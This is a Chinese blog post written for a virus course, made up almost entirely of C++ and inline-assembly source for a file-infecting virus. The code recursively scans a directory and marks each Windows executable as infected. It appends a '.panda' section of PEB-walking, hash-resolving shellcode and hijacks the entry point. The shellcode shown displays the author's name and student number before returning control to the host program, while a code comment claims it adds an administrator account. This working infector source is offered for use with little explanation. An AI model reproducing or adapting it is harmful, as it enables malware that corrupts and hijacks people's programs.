PE感染学习

来源:互联网 发布:果蝇算法 编辑:程序博客网 时间:2024/05/16 19:04

病毒课程老师要求的代码

用到了很多PE知识: 

直接上代码吧

// ganran_pe.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include <windows.h>#include <malloc.h>#include <assert.h>//本程序只适用于载入基址定位的。。。非随机基址//感染指定目录的PE文件char ItIs[MAX_PATH] = "C:\\1";//添加了一个新节区//然后shellcode是添加一个名为a,密码为a的administrator//然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用//函数功能: 以ALIGN_BASE为对齐度对齐size//参数说明: //size:需要对齐的大小//ALIGN_BASE:对齐度//返回值:返回对齐后的大小DWORD Align(DWORD size, DWORD ALIGN_BASE){assert(0 != ALIGN_BASE);if (size % ALIGN_BASE){size = (size/ALIGN_BASE + 1) * ALIGN_BASE;}return size;}//函数功能: 检测感染标识和设置感染标识//参数说明://pDosHdr:执行DOS头//返回值:是否未被感染, 是->TRUE, 否->FALSEBOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr){if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43){return FALSE;}else{*(DWORD*)pDosHdr->e_res2 = 0x4B4B43;return TRUE;}}//函数功能:打开文件并判断文件类型//参数说明://szPath:文件绝对路径//lpMemory:保存文件内存映射地址//返回值:是否是PE文件, 是->TRUE, 否->FALSEBOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile){//打开文件hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){//printf("CreateFileA %s Failed! ErrorCode = %d\n", szPath, GetLastError());return FALSE;}HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);if (!hMap){//printf("CreateFileMappingA %s Failed! ErrorCode = %d\n", szPath, GetLastError());return FALSE;}lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);if (!lpMemory){//printf("MapViewOfFile %s Failed! ErrorCode = %d\n", szPath, GetLastError());CloseHandle(hMap);return FALSE;}CloseHandle(hMap);return TRUE;}//函数功能: 感染指定文件//参数说明://szPath:文件绝对路径DWORD dwNum;PBYTE pByte;DWORD dwOldOp;DWORD dwNum1;DWORD nSecSize;DWORD size;DWORD i;PIMAGE_SECTION_HEADER pSecHdr;PIMAGE_SECTION_HEADER pNewHdr;PIMAGE_SECTION_HEADER pLastHdr;PIMAGE_NT_HEADERS32 pNtHdr;void FectPE(char *szPath){LPVOID lpMemory;HANDLE hFile;if (!CreateFileAndCheck(szPath, lpMemory, hFile)){return;}PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;//判断DOS标识if (*(WORD*)pDosHdr != 23117)goto Err; pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);//判断NT标识if (*(WORD*)pNtHdr != 17744)goto Err;//设置感染标识if (!SetFectFlag(pDosHdr))goto Err;//检查可用空间if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)goto Err; pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32)); pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections); pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);//检测是否有附加数据 i = 0; size = pSecHdr->PointerToRawData;for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++){size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);}if (size != GetFileSize(hFile, 0)){return;//有附加数据}goto shellend;_asm{shellstart:CLD                 ; clear flag DF;store hashpush 0x1e380a6a     ;hash of MessageBoxApush 0x4fd18963     ;hash of ExitProcesspush 0x0c917432     ;hash of LoadLibraryAmov esi,esp         ; esi = addr of first function hash lea edi,[esi-0xc]   ; edi = addr to start writing function ; make some stack spacexor ebx,ebxmov bh, 0x04            sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233      ; rest of ebx is null push ebx push 0x72657375push esp xor edx,edx; find base addr of kernel32.dll mov ebx,fs:[edx+0x30]   //得到peb结构体的地址mov ebx,[ebx + 0xc] //得到Ldr结构体的地址mov ebx,[ebx + 0xc] //得到ldr.InLoadOrderModuleList.Flink 第一个模块,当前进程mov ebx,[ebx]   //得到第二个模块地址 ntdll.dllmov ebx,[ebx]   //得到第三个模块地址 kernel32.dllmov ebx,[ebx+0x18]  //得到第三个模块地址(kernel32模块的dllbase)mov ebp,ebxfind_lib_functions:lodsd                   ; load next hash into al and increment esi cmp eax, 0x1e380a6a     ; hash of MessageBoxA - trigger ; LoadLibrary("user32")jne find_functions xchg eax, ebp           ; save current hash call [edi - 0x8]        ; LoadLibraryA xchg eax, ebp           ; restore current hash, and update ebp ; with base address of user32.dll find_functions:pushad                      ; preserve registers mov eax, [ebp + 0x3c]       ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp                ; ecx = absolute addr of export table mov ebx, [ecx + 0x20]       ; ebx = relative offset of names table add ebx, ebp                ; ebx = absolute addr of names table xor edi, edi                ; edi will count through the functions next_function_loop:inc edi                     ; increment function counter mov esi, [ebx + edi * 4]    ; esi = relative offset of current function nameadd esi, ebp                ; esi = absolute addr of current function namecdq                         ; dl will hold hash (we know eax is small)hash_loop:movsx eax, byte ptr[esi]cmp al,ahjz compare_hashror edx,7add edx,eaxinc esijmp hash_loopcompare_hash:  cmp edx, [esp + 0x1c]       ; compare to the requested hash (saved on stack from pushad)jnz next_function_loop mov ebx, [ecx + 0x24]       ; ebx = relative offset of ordinals table add ebx, ebp                ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function mov ebx, [ecx + 0x1c]       ; ebx = relative offset of address table add ebx, ebp                ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi]    ; add to ebp (base addr of module) the; relative offset of matched function xchg eax, ebp               ; move func addr into eax pop edi                     ; edi is last onto stack in pushad stosd                       ; write function addr to [edi] and increment edi push edi popad                   ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6ajne find_lib_functions function_call:xor ebx,ebxpush ebx            // cut string  push 0xE9D1B5CA    //构造中文字符串  push 0xBEB6A1B2  mov edx,esp  push ebx  push 0x20202031  push 0x32303232  push 0x31313130  push 0x322B6E61  push 0x7571676E  push 0x61686367  push 0x6E616978  mov eax,esp  push ebx  push edx  push eax  push ebx  call dword ptr ds:[edi-0x4]mov eax,0x11111111jmp eax}shellend:PBYTE *pShell;DWORD nShellLen;_asm{lea eax,shellstartmov pShell,eaxlea ebx,shellendsub ebx,eaxmov nShellLen,ebx}//添加新节memcpy(pNewHdr->Name, ".panda", 6);//新加节virtualsize nSecSize = nShellLen;pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;pNtHdr->FileHeader.NumberOfSections++;pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值//pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要//FlushViewOfFile(pDosHdr, 0);//写入shellcodedwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;printf("原始入口点: %XH\n", dwOldOp);dwOldOp += pNtHdr->OptionalHeader.ImageBase;printf("原始程序加载点: %XH\n", dwOldOp); dwNum1 = 0;SetFilePointer(hFile, 0, 0, FILE_END);WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);SetFilePointer(hFile, -6, 0, FILE_CURRENT);WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);//写入剩余字节 pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen); dwNum = 0;SetFilePointer(hFile, 0, 0, FILE_END);WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);//FlushFileBuffers(hFile);free(pByte);pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;//printf("新入口点: %X\n", pNewHdr->VirtualAddress);Err:CloseHandle(hFile);UnmapViewOfFile(lpMemory);}//函数功能: 扫描查找文件//参数说明://szPath:需要扫描的目录void FindFile(char *szPath){WIN32_FIND_DATAA FindFileData;char szFileToFind[MAX_PATH] = {0};lstrcpyA(szFileToFind, szPath);lstrcatA(szFileToFind, "\\*.*");//查找目录下所有文件HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);if (hFile == INVALID_HANDLE_VALUE){printf("FindFirstFileA Failed!\n");return;}do {char szNewPath[MAX_PATH] = {0};lstrcpyA(szNewPath, szPath);//判断是否是目录if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY){//判断是否是.或..if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}else{//递归查找下级目录lstrcatA(szNewPath, "\\");lstrcatA(szNewPath, FindFileData.cFileName);FindFile(szNewPath);}}else{//处理查找到的文件char szExe[MAX_PATH] = {0};lstrcpyA(szExe, szNewPath);lstrcatA(szExe, "\\");lstrcatA(szExe, FindFileData.cFileName);FectPE(szExe);}} while (FindNextFileA(hFile, &FindFileData));FindClose(hFile);}//主函数int main(){FindFile(ItIs);return 0;}

最后弹框  姓名+学号




0 0